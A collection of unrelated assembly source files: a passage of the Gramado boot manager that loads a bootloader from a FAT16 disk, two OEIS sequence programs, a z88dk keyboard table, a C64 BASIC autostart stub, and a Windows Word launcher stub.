mov word [META$FILE.HEADS], ax
mov word [DISKINFO16_heads], ax
; Sectors Per Track e Cylinders.
; Essas informa��es apresentam meio truncadas
; O valor do n�mero de cilindros � aprentado
; de forma parcial, uma parte em cada registrador.
;spt.
; bits [5:0] logical last index of sectors per track = number_of
; (because index starts with 1).
;cyl.
; bits [7:6] [15:8] logical last index of cylinders = number_of - 1
; (because index starts with 0).
; Sectors Per Track - (SPT).
; "Esconde 2 bits que pertencem a quantidade de setores".
; Obs:
; O valor de SPT foi gravado no BPB mas precisar�
; ser passado a diante para uso posterior.
xor eax, eax
mov al, cl
and al, byte 00111111b ;03Fh
mov byte [SectorsPerTrack], al ;BPB (word).
;Sectors per track.
mov ah, 0 ; enviamos apenas 'al'
mov word [bootmanagerSectorsPerTrack], ax ; enviamos apenas 'al'
mov word [META$FILE.SPT], ax
mov word [DISKINFO16_spt], ax
; Cylinders
; Obs:
; O valor de CylinderNumbers foi gravado em vari�vel mas precisar� ser
; passado a diante para uso posterior.
xor eax, eax
mov al, cl ; Two high bits of cylinder number in bits 6&7.
and al, 11000000b ; Mask it.
shl ax, 2 ; Move them to bits 8&9.
mov al, ch ; Rest of the cylinder bits.(low 8 bits)
inc eax ; Number is 0-based.
; Numero de cilindros do disco.
mov word [save_cylinder_numbers], ax
mov word [META$FILE.CYLINDERS], ax
mov word [DISKINFO16_cylinders], ax
; ========================================
; Carregar root.
bootmanager_LOADROOT:
; Compute size of root directory and store in "cx".
xor cx, cx
xor dx, dx
mov ax, 0x0020 ; 32 byte directory entry.
mul WORD [bootmanagerMaxRootEntries] ; Total size of directory.
div WORD [bootmanagerBytesPerSector] ; Sectors used by directory.
mov word [ROOTDIRSIZE], ax
mov cx, ax
;xchg ax, cx
; Compute location(LBA) of root directory and
; store in "ax".
xor ax, ax
mov al, BYTE [bootmanagerTotalFATs] ; Number of FATs.
mul WORD [bootmanagerSectorsPerFAT] ; Sectors used by FATs.
add ax, WORD [bootmanagerReservedSectors] ; Adjust for bootsector.
add ax, WORD [bootmanagerHiddenSectors]
; Nesse momento ax contem o setor inicial do root dir.
mov word [ROOTDIRSTART], ax
add ax, cx
mov WORD [bootmanagerdatasector], ax ; base of root directory
;Read root directory into memory (0:1000) ?
;mov WORD [bootmanagerdatasector], 591 ;;SIMULADO In�cio da �rea de dados.
mov ax, word [ROOTDIRSTART] ; Inicio do root.
mov cx, word [ROOTDIRSIZE] ; Tamanho do root.
mov bx, 0x1000 ; root_buffer. Copy root dir above bootcode
call bootmanagerReadSectors
pusha
mov si, bootmanagermsgCRLF
call bootmanagerDisplayMessage
popa
;Debug breakpoint.
;jmp $
;Browse root directory for binary image.
mov cx, WORD [bootmanagerMaxRootEntries] ; Load loop counter.
mov di, 0x1000 ; root_buffer, 0x1000, locate first root entry. ?
.bootmanagerLOOP:
push cx
mov cx, 0x000B ; eleven character name
mov si, bootmanager_ImageName ; image name to find
pusha
call bootmanagerDisplayMessage
popa
push di
rep cmpsb ; test for entry match
pop di
je bootmanager_LOADFAT
pop cx
add di, 0x0020 ; queue next directory entry
loop .bootmanagerLOOP
jmp bootmanagerFAILURE
;
; Load FAT.
;
;; Se o nome for encontrado.
bootmanager_LOADFAT:
pusha
mov si, bootmanagermsgFAT
call bootmanagerDisplayMessage
popa
; Debug breakpoint.
;mov ah, 0x00
;int 0x16
; Save starting cluster of boot image.
mov dx, WORD [di + 0x001A]
mov WORD [bootmanagercluster], dx ; file's first cluster.
; #BUGBUG ?
; NAO ESTAMOS CARREGANDO A FAT INTEIRA.
; CARREGAR A FAT INTEIRA D� PROBLEMA.
; Read FAT into memory (es:bx).?? Onde ??
; ?? 0:0x1000
; ?? Qual � o segmento e o offset da FAT ??
mov ax, 0
mov es, ax
; Compute location of FAT and store in "ax".
mov ax, WORD [bootmanagerHiddenSectors] ; adjust for bootsector.
add ax, WORD [bootmanagerReservedSectors] ; lba inicial da fat ?.
mov cx, 8 ; (apenas 8 setores da fat.) (246/2) ;; metade da fat WORD [bootmanagerSectorsPerFAT]
mov bx, 0x1000 ; fat_buffer ; copy FAT above bootcode.
call bootmanagerReadSectors
; Nesse momento ja carregamos a FAT.
;Debug breakpoint.
;jmp $
; Message.
; Read image file into memory (0x2000:0)(es:bx)
mov si, bootmanagermsgImg
call bootmanagerDisplayMessage
; Opçao de mensagem.
; mov si, bootmanagermsgCRLF
; call bootmanagerDisplayMessage
;
; Load image.
;
; Destination for the image.
; es:bx = (2000:0).
mov ax, 0x2000
mov es, ax
mov bx, 0x0000
;
; Ajust fat segment.
;
; gs:bx para a FAT.
; FAT segment.
; Salva o offset da imagem.
push bx
mov ax, 0
mov gs, ax
;
; Loading the image.
;
bootmanager_LOADIMAGE:
mov ax, WORD [bootmanagercluster] ; Cluster to read.
pop bx ; Buffer to read into (offset da imagem).
call bootmanagerClusterLBA ; Convert cluster to LBA.
xor cx, cx
mov cl, BYTE 1 ;[bootmanagerSectorsPerCluster] ;sectors to read.
call bootmanagerReadSectors
push bx
;Compute next cluster.
mov ax, WORD [bootmanagercluster] ; Identify current cluster.
add ax, ax ; 16 bit(2 byte) FAT entry.
mov bx, 0x1000 ; fat_buffer, offset.
add bx, ax ; Index into FAT.
;TESTANDO...
mov dx, WORD [gs:bx] ; Read two bytes from FAT.
.bootmanagerDONE:
mov WORD [bootmanagercluster], dx ; store new cluster.
; EOF
; 0x0FF0 test for end of file.
cmp dx, 0xFFFF
jne bootmanager_LOADIMAGE
;jnb bootmanager_LOADIMAGE
bootmanagerDONE:
;mov si, bootmanagermsgCRLF
;call bootmanagerDisplayMessage
;========================
; Esse eh primeiro setor do BM.BIN, ele ira carregar o arquivo BL.BIN
; e ira passar o comando para o stage 2 do (BM).
;=======================
mov si, bootmanagermsgDONE
call bootmanagerDisplayMessage
;Debug breakpoint.
;jmp $
; ===================================
; Importante:
; >> Nesse momento j� conseguimos carregar o BL.BIN em 0x2000:0. Agora
; passamos o comando para o stage2 do BM, onde configuramos o m�quina,
; entramos em modo gr�fico, em modo protegido e por fim entramos no
; mini-shell do BM.
; >> Observe que o in�cio do BM est� em 16bit. Aproveitamos isso para
; carregarmos o arquivo BL.BIN com a ajuda dos recursos do BIOS. Isso
; nos oferece um pouco de tranquilidade. Ent�o, j� que o BM, cumpriu
; seu principal objetivo logo no in�cio do c�digo, podemos usar o resto
; dele para rotinas mais detalhadas de obten��o de informa��es sobre a
; arquitetura x86. Assim podemos passar para o BL.BIN o maior n�mero de
; inform��es poss�veis, e deix�-lo em um estado confort�vel.
; Sendo assim, o BM.BIN, pode ser um programa com um tamanho um pouco
; maior, mas talvez isso torne o trabalho o MBR mais dif�cil.
; =====================================
; Go!
; Agora saltamos para a trap que existe no in�cio do META$FILE.
; Trap 1. (isso est� nesse arquivo mesmo)
.goToFisrtTrap:
; #todo
; No momento estamos carregando um bootloader de 32bit
; feito em C e Assembly.
; Mas poderíamos carregar um kernel de 16bit nesse endereço
; imitando o estilo do mikeos.
; Nesse momento saltamos para uma rotina que
; comutará para modo protegido de 32bit e
; executará um shell embutido nesse programa.
; Esse shell consegue voltar para 16.
push WORD 0
push WORD AFTER_DATA
retf
; Fail.
; #todo: Colocar uma mensagem de erro.
bootmanagerFAILURE:
int 0x18
jmp $
;mov si, bootmanagermsgFailure
;call bootmanagerDisplayMessage
;mov ah, 0x00
;int 0x16 ; await keypress
;int 0x19 ; warm boot computer
; bootmanagerDisplayMessage:
; Display ASCIIZ string at "ds:si" via BIOS.
bootmanagerDisplayMessage:
lodsb ; load next character
or al, al ; test for NUL character
jz .bootmanagerDONE
mov ah, 0x0E ; BIOS teletype
mov bh, 0x00 ; display page 0
mov bl, 0x07 ; text attribute
int 0x10 ; invoke BIOS
jmp bootmanagerDisplayMessage
.bootmanagerDONE:
ret
; bootmanagerReadSectors:
; Reads "cx" sectors from disk starting at "ax" into memory location
; "es:bx".
; Carrega na mem�ria, em es:bx, 'cx' setores do disco, come�ando pela
; LBA 'ax'.
bootmanagerReadSectors:
mov WORD [bootmanagerDAPBuffer], bx
mov WORD [bootmanagerDAPBuffer+2], es
mov WORD [bootmanagerDAPStart], ax
;Five retries for error. (8??)
.bootmanagerMAIN:
mov di, 0x0005
.bootmanagerSECTORLOOP:
push ax
push bx
push cx
push si
mov ah, 0x42
mov dl, 0x80
mov si, bootmanagerDAPSizeOfPacket
int 0x13
pop si
jnc .bootmanagerSUCCESS ; test for read error
xor ax, ax ; BIOS reset disk
int 0x13 ; invoke BIOS
dec di ; decrement error counter
pop cx
pop bx
pop ax
jnz .bootmanagerSECTORLOOP ; attempt to read again
; Fail
int 0x18
.bootmanagerSUCCESS:
mov si, bootmanagermsgProgress
call bootmanagerDisplayMessage
pop cx
pop bx
pop ax
add bx, WORD [bootmanagerBytesPerSector] ; queue next buffer
cmp bx, 0x0000 ;;??
jne .bootmanagerNextSector
push ax
mov ax, es
add ax, 0x1000
mov es, ax
pop ax
.bootmanagerNextSector:
inc ax ; queue next sector
mov WORD [bootmanagerDAPBuffer], bx
mov WORD [bootmanagerDAPStart], ax
loop .bootmanagerMAIN ; read next sector
ret
; ====
; bootmanagerClusterLBA:
; convert FAT cluster into LBA addressing scheme
; LBA = (cluster - 2) * sectors per cluster
bootmanagerClusterLBA:
sub ax, 0x0002 ; zero base cluster number.
xor cx, cx
mov cl, BYTE 1 ;[bootmanagerSectorsPerCluster] ; convert byte to word.
mul cx
add ax, WORD 591 ;[bootmanagerdatasector] ; base data sector.(#bugbug Valor determinado.)
ret
; ===============================
; Dados de supporte.
; DAP.
bootmanagerDAPSizeOfPacket db 10h
bootmanagerDAPReserved db 00h
bootmanagerDAPTransfer dw 0001h
bootmanagerDAPBuffer dd 00000000h
bootmanagerDAPStart dq 0000000000000000h
; Sector, Head, Track.
bootmanagerabsoluteSector db 0x00
bootmanagerabsoluteHead db 0x00
bootmanagerabsoluteTrack db 0x00
bootmanagerdatasector dw 0x0000 ; Data sector.
bootmanagercluster dw 0x0000 ; Cluster.
; ===============================================
; Messages and strings.
; File name.
bootmanager_ImageName:
db "BL BIN", 0x0D, 0x0A, 0x00
; Strings.
bootmanagermsgFAT db 0x0D, 0x0A, "Loading FAT", 0x0D, 0x0A, 0x00
bootmanagermsgImg db 0x0D, 0x0A, "Loading Image", 0x0D, 0x0A, 0x00
bootmanagermsgFailure db 0x0D, 0x0A, "ROOT", 0x00
bootmanagermsgFail db "Read", 0x00
bootmanagermsgSearch db "S", 0x00
bootmanagermsgProgress db "*", 0x00
bootmanagermsgDONE db 0x0D, 0x0A, "DONE", 0x0D, 0x0A, 0x00
bootmanagermsgCRLF db 0x0D, 0x0A, 0x00
;; ...
;=================
; Obs:
; Aqui é o fim do Stage1 do Boot Manager.
; ===========================================================
;=================
; Obs: Aqui é começo do Stage2 do Boot Manager.
[bits 16]
; Stage 2.
; Esse é o segundo setor.
; Daqui pra frente temos código de inicialização.
; SEGUNDO SETOR
; ==========================================
; Gramado Boot Manager - This is the stage 2 for the boot manager.
; It's a 16bit/32bit program to make some basic system initialization and
; to load the Boot Loader program.
; 2015-2017 Fred Nora.
;
; It starts on second sector.
; Importante:
; O arquivo stage2.inc faz uma sequ�ncia de inclus�es de m�dulos
; de 16bit que comp�em o stage2. Os promeiros devem ser s2metafile.inc
; e s2header.inc que servir�o de suporte para todos os outros modulos
; do stage2.
; IMPORTANTE:
; � IMPRESSIND�VEL A POSSIBILIDADE DE CARREGAR O 'BOOT LOADER' USANDO
; OS RECURSOS DO BIOS DE 16BIT. Esse arquivo deve chamar a rotina de
; carregamento de arquivo. Obs: J� est� implementada a rotina de carregar
; um setor usando fat16 em 16bit usando recursos do BIOS.
; Atribuiçoes:
; +1 - Configura o sistema.
; +2 - Entra no modo de inicializa��o configurado.
; Modo de v�deo do Boot Manager:
; =============================
; O Boot Manager usa o modo de texto, mas configura o modo de video
; de acordo com as especifica��es do metafile que est� no segundo setor.
; Estado dos registradores:
; ========================
; O 'stage2 e o resto do Boot Manager' s�o carregados em 0000h:1000h pelo
; stage1 (MBR).
; O stage 2 inicia com os seguintes valores nos registradores:
;
; ;cs:ip.
; CS = 0x0000
; IP = 0x1000
;
; ;Segmentos.
; DS = 0x0000
; ES = 0x0000
;
; ;ss:sp.
; SS = 0x0000
; SP = 0x0E00
;
; SI = Bios Parameter Block
;
; BX = Magic number (0xF0ED).
; AX = Number of heads.
; DL = Drive number.
; CL = Sectors per track.
;
; Memory map:
; ==========
; +VBR = 8000:7c00 (Primeiro setor da parti��o ativa).
; +FAT = 6000:0000
; +ROOT = 4000:0000
; +BootLoader = 2000:0000
;
; Informa��es sobre as parti��es:
; ==============================
; Parti��o 0 - (31MB).
; vbr - ?
; fat1 - ?
; fat2 - ?
; root - ?
; data - ?
; Parti��o 1 - N�o usada.
; Parti��o 2 - N�o usada.
; Parti��o 3 - N�o usada.
;
; OBS:
; � importante receber bem os par�metros de disco passados pelo stage1.
; O stage2 salva os par�metros de disco no META$FILE carregado na mem�ria.
; (volatil).
; Algumas constantes usadas pelo stage 2.
; Obs: Por conveni�ncia, o desenvolvedor pode manipular essas constantes.
;;Tipos de bootloader que poder�o ser carregados pelo boot manager.
;BOOTLOADER_TYPE_NONE EQU 0 ;Sem tipo definido. Negligenciado.
;BOOTLOADER_TYPE_GRAMADO EQU 1 ;Boot Loader do sistema operacional Gramado.
;BOOTLOADER_TYPE_MULTIBOOT EQU 1 ;Usando o padr�o multiboot.
;BOOTLOADER_TYPE_UNKNOW EQU 2 ;Desconhecido.
;;...
; ==========================================
; Importante:
; Nesse momento determinamos a localização,
; no disco, dos elementos do sistema de arquivos FAT16.
; Não é isso o que queremos. Essas informações precisam
; ser obtidas através de rotinas de sondagem.
; stage 2.
CODE_SEGMENT equ 0
DATA_SEGMENT equ 0
STACK_SEGMENT equ 0
STACK_POINTER equ 0x6000
; vbr.
VBR_SEGMENT equ 8000H
VBR_OFFSET equ 7C00H
VBR_LBA equ 63
; fat.
FAT_SEGMENT equ 6000H
FAT_OFFSET equ 0
FAT_LBA equ 67
; root.
ROOT_SEGMENT equ 4000H
ROOT_OFFSET equ 0
ROOT_LBA equ 559
; ========================
; Aqui está a localização do bootloader na memória.
; A LBAn�o importa, pois ele foi carregado do sistema sistema de
; arquivos e a LBA inicial dele estava armazenada na entrada do
; diret�rio raiz.
; Boot Loader.
BL_SEGMENT equ 2000H
BL_OFFSET equ 0
BL_LBA equ 0
;---------------------------------------
; Algum suporte para cores no modo texto.
; BLUE equ 01f00h
; RED equ 02f00h
; GREEN equ 04f00h
;==================================
; stage2_main:
; Início do stage 2.
; O endereço do stage 2 é 0000H:1000H.
; O stage 2 fica no segundo setor do disco.
; Jump
stage2_main:
PUSH 0
PUSH AFTER_DATA
RETF
;
; == Includes ========
;
; 16bit includes.
%include "rm/s2metafile.inc"
%include "rm/s2header.inc"
%include "rm/s2bpb.inc"
%include "rm/s2gdt.inc"
%include "rm/s2vesa.inc"
%include "rm/s2config16.inc"
%include "rm/s2a20.inc"
%include "rm/s2lib.inc"
%include "rm/s2fat12.inc"
%include "rm/s2fat16.inc"
%include "rm/s2menu16.inc"
%include "rm/s2modes.inc"
%include "rm/s2detect.inc"
%include "rm/lib16.inc"
; ...
; ==============================================================
; AFTER_DATA:
;
; Inicio real do stage 2.
; A primeira coisa a se fazer eh salvar os parametros de
; disco passados pelo stage1.
;
; Argumentos recebidos:
; bx = Magic number. (autorizaçao)
; ax = Number of heads.
; dl = Drive number.
; cl = Sectors per track.
; si = BPB.
AFTER_DATA:
; Segments at '0'.
mov ax, 0
mov ds, ax
mov es, ax
; Message: Boot Manager Splash.
; See: s2header.inc
mov si, msg_bm_splash
call DisplayMessage
; Debug.
; jmp $
;; Checar se a assinatura PE est� na mem�ria, se estiver, pularemos e
;; a etapa de carregamento do arquivo.
;; #todo
;; Rever essa assinatudo, pois tudo no sistema agora usa ELF.
xxx_checkSig:
mov ax, 0x2000
mov gs, ax
; Testando o 4C
xor bx, bx
mov al, byte [gs:bx] ; 0x2000:0
cmp al, byte 0x4C ;'L' primeiro byte
jne .sigNotFound
; Testando o 01
mov bx, 1
mov al, byte [gs:bx] ; 0x2000:1
cmp al, byte 0x01 ; Segundo byte
jne .sigNotFound
; Se os dois char n�o est�o ausentes,
; significa que o arquivo eta no lugar.
jmp .sigFound
;
; == Not Found ========
;
; A assinatura n�o foi encontrada,
; o arqui n�o est� na mem�ria.
; message:
; O arquivo n�o esta presente na mem�ria.
.sigNotFound:
mov si, stage2_msg_pe_sigNotFound
call DisplayMessage
.sigHalt:
cli
hlt
jmp .sigHalt
;
; == Found ========
;
; A assinatura foi encontrada ...
; prosseguimos com o stage2.
; message:
; O arquivo esta presente na mem�ria.
.sigFound:
mov si, stage2_msg_pe_sigFound
call DisplayMessage
;debug
;jmp $
; Turn off fdc motor.
xxx_turnoffFDCMotor:
mov dx, 3F2h
mov al, 0
out dx, al
; Reset PS/2 mouse.
xxx_setupPS2Mouse:
mov ax, 0c201h
int 15h
xxx_setupRegisters:
cli
mov ax, 0
mov ds, ax
mov es, ax
;mov fs, ax
;mov gs, ax
xor ax, ax
mov ss, ax
mov sp, 0x6000
xor dx, dx
xor cx, cx
xor bx, bx
xor ax, ax
sti
; Enable a20 line.
xxx_setupA20:
pusha
call A20_enable
mov si, msg_a20
call DisplayMessage
popa
;
; == xxx_Config ========
;
; Configurando o modo de inicializaçao do Boot Manager:
; ======================================
; Seleciona um modo de inicializa�ao para o Boot Manager.
; A op��o est� salva no metafile do Boot Mananger.
; Op��es:
; +1 ~ Shell do boot manager.
; +2 ~ GUI
;
; Configura o metafile. META$FILE.INIT_MODE = al
;
xxx_Config:
; Message
; See: s2header.inc
.setupBootMode:
mov si, msg_selecting_videomode
call DisplayMessage
; Debug
; JMP $
; #important:
; It gets a global configurable variable.
; See the in the top of this document.
; 1=gui 2=text
;; ++
;; =====================================
.preSelection:
mov al, G_START_GUI
cmp al, 1
je .xxxxGUI
cmp al, 0
je .xxxxCLI
jmp .xxxxGUI
;; =====================================
;; --
;;
;; == Text mode ==============================
;;
; text mode.
; ## SET UP BOOT MODE ##
.xxxxCLI:
mov al, byte BOOTMODE_SHELL
call set_boot_mode
jmp .xxxxGO
;;
;; == Graphics mode ==========================
;;
; gui mode.
; ## SET UP BOOT MODE ##
.xxxxGUI:
mov word [META$FILE.VIDEO_MODE], G_VIDEO_MODE
mov al, byte BOOTMODE_GUI
call set_boot_mode
jmp .xxxxGO
;
; Go!
;
;
; == \o/ ========
;
; Activate the chosen mode.
; (s2modes.inc)
.xxxxGO:
JMP s2modesActivateMode
JMP $
;
; == \o/ ========
;
; ==================================
; stage2Shutdown:
; Shutdown the machine via APM.
; 16bit, real mode, using BIOS.
stage2Shutdown:
; Connect to APM API
MOV AX, 5301h
XOR BX, BX
INT 15h
; Try to set APM version (to 1.2)
MOV AX, 530Eh
XOR BX, BX
MOV CX, 0102h
INT 15h
; Turn off the system
MOV AX, 5307h
MOV BX, 0001h
MOV CX, 0003h
INT 15h
; Exit
; (for good measure and in case of failure)
RET
; =======================================================
;
; == Messages ========
;
stage2_msg_pe_sigNotFound:
db "bm-xxx_checkSig: Signature not found", 13, 10, 0
stage2_msg_pe_sigFound:
db "bm-xxx_checkSig: Signature found", 13, 10, 0
; ===================================================
; trampoline.
; pm
; Switch to protected mode.
; Comuta para o modo protegido.
%include "rm/pm.inc"
;--------------------------------------------------------
; 32 bits - (Boot Manager 32bit Asm.)
;--------------------------------------------------------
[bits 32]
bootmanager_main:
; Em ordem de prioridade na compilação.
; 14 - Header principal.
; Definições globais usadas em 32bit.
; Header principal em 32 bits.
%include "header32.inc"
; 13 - Headers.
%include "system.inc" ; Arquivo de configura��o do sistema.
%include "init.inc" ; Arquivo de configura��o da inicializa��o.
%include "sysvar32.inc" ; Vari�veis do sistema.
%include "x86/gdt32.inc" ; Gdt.
%include "x86/idt32.inc" ; Idt.
%include "x86/ldt32.inc" ; Ldt.
%include "x86/tss32.inc" ; Tss.
%include "stacks32.inc" ; Stacks.
%include "x86/ints32.inc" ; Handles para as interrup��es.
%include "fs/fat16header.inc" ; Headers para o sistema de arquivos fat16.
; 12 - Monitor.
%include "drivers/screen32.inc" ; Rotinas de screen em 32 bits.
%include "drivers/input32.inc" ; Rotinas de input 2m 32 bits.
%include "string32.inc" ; Rotinas de strings em 32 bits.
%include "font32.inc" ; Fonte.
; 11 - Hardware.
%include "x86/cpuinfo.inc" ; Rotinas de detec��o e configura��o de cpu.
%include "hardware.inc" ; Rotinas de detec��o e configura��o de hardware.
; ...
; 10 - Irqs.
%include "drivers/timer.inc" ; Irq 0, Timer.
%include "drivers/keyboard.inc" ; Irq 1, Keyboard.
%include "drivers/fdc32.inc" ; Irq 6, Fdc. (@todo: Suspender o suporte.)
%include "drivers/clock.inc" ; Irq 8, Clock.
%include "drivers/hdd32.inc" ; Irq 14/15, Hdd.
; ...
; 9 - Tasks. (#no tasks)
; Rotinas de inicialização do sistema de tarefas.
%include "tasks32.inc"
; 8 - lib32.
; Rotinas em 32 bits.
;%include "lib32.inc"
; 7 - setup
; Inicializa arquitetura.
%include "setup.inc"
; 6 - Disk.
%include "fs/fat12pm.inc" ;FAT12 em 32 bits.
%include "fs/fat16lib.inc" ;FAT16 (rotinas).
%include "fs/fat16.inc" ;FAT16 (fun��es principais).
%include "fs/ramfs.inc" ;RamDisk fs.
%include "fs/format.inc" ;Formata.
%include "fs/fs32.inc" ;fs, (ger�ncia os sistemas de arquivos).
; 5 - File.
%include "installer.inc" ;Instala metafiles em LBAs espec�ficas.
%include "fs/file.inc" ;Operaçoes com aquivos.
%include "bootloader.inc" ;Carrega o Boot Loader (BL.BIN).
; 4 - Debug.
; System debug.
%include "debug.inc"
; 3 - blconfig.
; Gerencia a inicialização.
%include "blconfig.inc"
; 2 - Boot Manager Mini-Shell.
; Prompt de comandos.
%include "shell32/shell.inc"
%include "shell32/shcalls.inc" ;Chamadas dos comandos.
%include "shell32/shlib.inc" ;Lib de funções do Shell.
%include "shell32/shmsg.inc" ;Mensagens e variáveis do Shell.
; 1 - Start.
%include "start.inc"
; 0 - lib32.
;Rotinas em 32 bits.
%include "lib32.inc"
; ========================================================
;
; Buffer.
;
root_buffer:
fat_buffer:
; nop
;
; End.
;
|
; A005389: Number of Hamiltonian circuits on 2n times 4 rectangle.
; Submitted by Jon Maiga
; 1,6,37,236,1517,9770,62953,405688,2614457,16849006,108584525,699780452,4509783909,29063617746,187302518353,1207084188912,7779138543857,50133202843990,323086934794997,2082156365731164,13418602439355485,86477122654688250,557307869909156153,3591609576360635560,23146379309354167465,149168461588572295870,961326591745127536157,6195336508498936694996,39926279771230864030933,257307704623268973001634,1658237512682098016167585,10686627718715595462629344,68870720343132552675327969
mul $0,-2
mov $2,2
sub $2,$0
sub $2,1
seq $2,6864 ; Number of Hamiltonian cycles in P_4 X P_n.
mov $0,$2
|
; This table translates key presses into ascii codes.
; Also used by 'GetKey' and 'LookupKey'. An effort has been made for
; this key translation table to emulate a PC keyboard with the 'CTRL' key
SECTION rodata_clib
PUBLIC in_keytranstbl
.in_keytranstbl
; Bit 7 is always unused, so skip it: 84 bytes per table
;Unshifted
defb 255, 'z', 'x', 'c', 'v', 'b', 'n' ; SHIFT z x c v b n
defb 255, 'a', 's', 'd', 'f', 'g', 'h' ; CTRL a s d f g h
defb '\t', 'q', 'w', 'e', 'r', 't', 'y' ; TAB q w e r t y
defb 27, '1', '2', '3', '4', '5', '6' ; ESC 1 2 3 4 5 6
defb 255, '=', '-', '0', '9', '8', '7' ; UN = - 0 9 8 7
defb 12, 255, 255, 'p', 'o', 'i', 'u' ; BS UN UN p o i u
defb 13, 255,'\'', ':', 'l', 'k', 'j' ; RET UN ' : l k j
defb 255, '`', ' ', '/', '.', ',', 'm' ; GRAPH ` SP \ . , m
; 6bff, 6aff, 69ff, 68ff5
defb 255,'\\', ']', '[', '~', 127, 141 ; UN \ [ ] ~ DEL INS
defb 6, 138, 139, 11, 8, 9, 10 ; CAPS DELLINE HOME UP LEFT RIGHT DOWN
defb 255, 137, 136, 135, 134, 133, 132 ; UN F10 F9 F8 F7 F6 F5
defb 255, 128, 129, 130, 131, 255, 255 ; UN F1 F2 F3 F4 UN UN
;Shifted
defb 255, 'Z', 'X', 'C', 'V', 'B', 'N' ; SHIFT z x c v b n
defb 255, 'A', 'S', 'D', 'F', 'G', 'H' ; SHIFT a s d f g h
defb '\t', 'Q', 'W', 'E', 'R', 'T', 'Y' ; TAB q w e r t y
defb 27, '!', '@', '#', '$', '%', '^' ; ESC 1 2 3 4 5 6
defb 255, '+', '_', ')', '(', '*', '&' ; UN = - 0 9 8 7
defb 127, 255, 255, 'P', 'O', 'I', 'U' ; BS UN UN p o i u
defb 13, 255,'\"', ';', 'L', 'K', 'J' ; RET UN ' : l k j
defb 255, '`', ' ', '?', '>', '<', 'M' ; GRAPH \ SP \ . , m
; 6bff, 6aff, 69ff, 68ff5
defb 255,'\\', ']', '[', '~', 127, 141 ; UN \ [ ] ~ DEL INS
defb 6, 138, 139, 11, 8, 9, 10 ; CAPS DELLINE HOME UP LEFT RIGHT DOWN
defb 255, 137, 136, 135, 134, 133, 132 ; UN F10 F9 F8 F7 F6 F5
defb 255, 128, 129, 130, 131, 255, 255 ; UN F1 F2 F3 F4 UN UN
;Control
defb 255, 26, 24, 3, 22, 2, 14 ; SHIFT z x c v b n
defb 255, 1, 19, 4, 6, 7, 8 ; SHIFT a s d f g h
defb '\t', 17, 23, 5, 18, 20, 25 ; TAB q w e r t y
defb 27, '1', '2', '3', '4', '5', '6' ; ESC 1 2 3 4 5 6
defb 255, '=', '-', '0', '9', '8', '7' ; UN = - 0 9 8 7
defb 12, 255, 255, 16, 15, 9, 21 ; BS UN UN p o i u
defb 13, 255,'\'', ':', 12, 11, 10 ; RET UN ' : l k j
defb 255, '`', ' ', '/', '.', ',', 13 ; GRAPH ` SP \ . , m
; 6bff, 6aff, 69ff, 68ff5
defb 255,'\\', ']', '[', '~', 127, 141 ; UN \ [ ] ~ DEL INS
defb 6, 138, 139, 11, 8, 9, 10 ; CAPS DELLINE HOME UP LEFT RIGHT DOWN
defb 255, 137, 136, 135, 134, 133, 132 ; UN F10 F9 F8 F7 F6 F5
defb 255, 128, 129, 130, 131, 255, 255 ; UN F1 F2 F3 F4 UN UN
|
; A001752: Expansion of 1/((1+x)*(1-x)^5).
; 1,4,11,24,46,80,130,200,295,420,581,784,1036,1344,1716,2160,2685,3300,4015,4840,5786,6864,8086,9464,11011,12740,14665,16800,19160,21760,24616,27744,31161,34884,38931,43320,48070,53200,58730,64680,71071,77924,85261,93104,101476,110400,119900,130000,140725,152100,164151,176904,190386,204624,219646,235480,252155,269700,288145,307520,327856,349184,371536,394944,419441,445060,471835,499800,528990,559440,591186,624264,658711,694564,731861,770640,810940,852800,896260,941360,988141,1036644,1086911,1138984,1192906,1248720,1306470,1366200,1427955,1491780,1557721,1625824,1696136,1768704,1843576,1920800,2000425,2082500,2167075,2254200
add $0,3
pow $0,2
lpb $0
sub $0,4
add $1,$0
lpe
div $1,6
mov $0,$1
|
#if VERBOSE = 1
LASTINIT SET .
#endif
; this is at $801
; and it MUST be exactly at this location in order to autostart
; 10 SYS2060 ($80c) BASIC autostart
BYTE #$0b,#$08,#$0a,#$00,#$9e,#$32,#$30,#$36,#$31,#$00,#$00,#$00
; this is at (2061 dec)=($80d)
; and it MUST be exactly after the above BASIC statement
. = $80d
jmp start
#if VERBOSE = 1
ECHO "basic.asm @ ",LASTINIT,"len:",(. - LASTINIT)
#endif
|
TITLE WINSTUB - Assembly stub program for Winword
;
; This guy just boots excel by inserting the word "winword" in front of the
; command line and starting up windows
;
StackSize equ 1024
.xlist
include cmacros.inc
.list
sBegin CODE
assumes CS,CODE
assumes DS,CODE
assumes SS,CODE
;=======================================================================
winx:
jmp Entry
szWin2 db "WIN200.BIN",0
szWin db "WIN.COM",0
WinPath db 82 dup (0)
msgBoot db "This program requires Microsoft Windows.",13,10,"$"
msgNoMem db "Insufficient memory to run Windows Word.",13,10,"$"
msg386 db "Type 'WIN386 WINWORD' to run Windows Word.",13,10,"$"
szPATH db "PATH=",0
szApp db "WINWORD" ; default name for DOS 2.0
cchApp equ $-szApp
GrabSeg dw ? ; 00 segment of screen grabber code
GrabSize dw ? ; 02 number of paragraphs in grabber
Xsize dw ? ; 04 size of screen buffer
pifMsFlags db ? ; 06 Microsoft Pif bits
AppName db 64 dup (?) ; not really appname, used by ems stuff
include winemsds.asm
TopPDB dw ? ; used by ems stuff
Entry:
mov ax,es
mov ss,ax
mov sp,codeOffset LastByte+StackSize+256 ; this should be big enough
mov cs:[TopPDB],ds
mov word ptr cs:[WinX],codeOffset GrabSeg+256
;
; Make room in the command line for the word "winword"
;
push cs
pop ds
mov si,codeOffset szApp
mov cx,cchApp
call FindAppName
push ds
push si
push cx
mov ax,ss
mov es,ax
mov ds,ax
mov di,0FFH-2
mov si,0FFH-4
sub si,cx
std
neg cx
add cx,0FFH-4-80H
mov word ptr ds:[di+1],"WY"
rep movsb
cld
pop cx
pop si
pop ds
mov dx,cx
mov di,81H
mov al," "
stosb
rep movsb
stosb
push cs
pop ds
mov di,80H
add dl,es:[di] ; get length of command line
add dl,2
cmp dl,128-3 ; is that too long?
jbe ee1 ; no, continue
mov dl,128-3 ; force it to be shorter
mov byte ptr es:[0FFH-2],13 ; and put this here for good measure.
ee1:
mov es:[di],dl
push cs
pop ds
mov dx,codeOffset szWin
regptr pPath,ds,dx
cCall ExecPathname,<pPath>
mov dx,codeOffset szWin2
regptr pPath,ds,dx
cCall ExecPathname,<pPath>
push cs
pop ds
mov ah,9
int 21h
mov ax,4c02H
int 21H
;----------------------------------------------------------------------
